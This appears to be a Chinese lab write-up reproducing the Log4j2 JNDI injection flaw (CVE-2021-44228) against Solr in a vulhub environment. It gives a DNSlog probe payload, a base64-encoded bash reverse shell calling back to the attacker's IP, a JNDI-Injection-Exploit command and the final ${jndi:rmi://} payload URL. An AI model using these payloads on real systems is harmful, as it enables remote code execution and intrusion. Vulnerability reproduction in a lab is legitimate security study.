漏洞适用版本:2.0 <= Apache log4j2 <= 2.14.1
漏洞原理:
log4j2是Apache的一个java日志框架,漏洞是由于Log4j2提供的lookup功能下的Jndi --Lookup--模块出现问题所导致的
该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源,攻击者在可以控制日志内容的情况下,传入${jndi:ldap:vps/exp},JNDI其中有一个lookup()方法,log4j2在获取到${}这样的格式的时候会自动的去调用lookup()方法,执行任意代码。
使用vulhub进行漏洞复现
安装看这篇文章vulhub环境搭建+靶场使用_「已注销」的博客-CSDN博客
攻击机ip:192.168.49.139
靶机ip:192.168.49.152
1、安装vulhub后进到靶机log4j的cve-2021-44228目录
2、开启docker环境
开启:docker-compose up -d
查看端口:docker-compose ps
关闭:docker-compose down
成功启动,查看下端口
3、输入ip进入网址,正常显示是这个
4、DNSlog验证是否存在漏洞
DNSLog Platform申请子域名
左边是申请子域名,右边是刷新显示
5、插入测试payload:
${jndi:idap://${sys:java.version}.dnslog}是利用JNDI发送DNS请求的Payload:
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.q9yqqf.dnslog.cn}
将java版本信息带上去请求dnslog地址,如果存在漏洞那么dnslog那里会留下记录显示java版本
访问payload:
执行完后查看dnslog,刷新下,可以看到1.8,成功显示了java版本
6、反弹shell
反弹shell需要利用到JNDIExploit
这里是下载地址:
Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit · GitHub
(1)、将此命令进行Base64编码,139是我的攻击机ip,8888端口是到时候接收shell的端口
Base64 在线编码解码 | Base64 加密解密 - Base64.us
bash -i >& /dev/tcp/192.168.49.139/8888 0>&1
base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ5LjEzOS84ODg4IDA+JjE=
(2)、使用JNDIExploit进行漏洞利用,将上面Base64编码结果和你的攻击机ip填入指定位置
(这里有个注意的点,这里的payload生成好像只能指定自己的攻击机使用,如果在这里生成但是ip指定vps,然后用vps接收shell是收不到的,要让vps接受反弹shell,只能在vps上运行JNDIExploit来生成payload)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ5LjEzOS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.49.139"
执行结果会显示这个,用JDK1.8里面的第一个就可以
(3)、 再开一个窗口来监听之前设置的8888端口,进行接收shell
(4)、使用刚刚JNDIExploit生成的Payload,如果不成功可以把生成的Payload都试一下
192.168.49.152:8983/solr/admin/cores?action=${jndi:rmi://192.168.49.139:1099/qimzcl}
(5)成功反弹shell
执行上面命令后查看监听端口,成功返回,执行whoami,成功